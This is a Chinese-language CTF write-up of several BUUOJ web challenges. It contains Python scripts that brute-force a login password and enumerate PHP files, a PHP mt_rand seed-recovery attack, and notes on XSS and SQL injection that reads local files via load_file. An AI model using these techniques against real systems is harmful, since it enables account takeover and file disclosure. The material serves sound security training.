文章目录
[GWCTF 2019]枯燥的抽奖
打开题目是这玩意儿
查看源代码!!!发现关键网页打开看看!!
下面就是代码审计环节
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){
x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
利用php的伪随机性爆破,利用python脚本
str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'zXGgRbXiep'
str3 = str1[::-1]
length = len(str2)
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
break
print(res)
接下来使用php伪随机数爆破工具
将结果带入即可得到flag
<?php
mt_srand(948663066);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>".$str."</p>";
[网鼎杯 2018]Comment
首先要留言就得登录看着登陆框的提示,大概知道要么用burp,可我喜欢python
挂上本弟弟的辣鸡脚本
import requests
import time
session = requests.session()
for i in range(999):
data = {
'username': 'zhangwei',
'password': f'zhangwei{i}'
}
r = session.post('http://89a6083e-7291-41f2-b946-fc56ecd543c1.node3.buuoj.cn/login.php', data=data)
print(i)
time.sleep(0.2)
if 'username or password error' not in r.text:
print(r.text)
print(data)
在这里得到密码是zhangwei666
,之后登录
首先测试是否为sql注入,明显不是
接着尝试是否为XSS
,啊这真的成功了嘻嘻
尝试弹cookie失败了,在控制台看到好东西了哈哈哈
然后我完全不会做了啊这,之后看了别人博客知道了需要恢复文件git log --reflog
查看所有分支记录
一道二次注入的题目
常规的注入不知道为啥没有任何回显
查看user得知使用者是root权限这样的话,一般 flag 就不会在数据库里面(因为如果在数据库中,不需要root权限)所以sql注入读取本地文件 可以使用load_file()
有个www用户
查看bash_history : 保存了当前用户使用过的历史命令,方便查找
在/home/www/下
看见他删除了 .DS_Store 文件,由于目标环境是docker,所以 .DS_Store 文件应该在 /tmp/html 中。而 .DS_Store 文件中,经常会有一些不可见的字符,可以使用hex函数对其进行16进制转换,
[BJDCTF 2nd]elementmaster
请求后发现这玩意儿???十六进制骚一下
从这里推测是化学元素
网上找个脚本hhh
import requests
url='http://86512ce4-2a07-43e0-a9f6-edabc83ec7d5.node3.buuoj.cn/'
flag=''
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
for i in element:
r=requests.get(url+i+'.php')
if r.status_code == 200:
flag+=r.text
print (flag)
得到结果And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php
访问得到flag
[MRCTF2020]套娃
?b%20u%20p%20t=23333%0a
首先来一个反加密代码
[HCTF 2018]WarmUp
CVE-2018-12613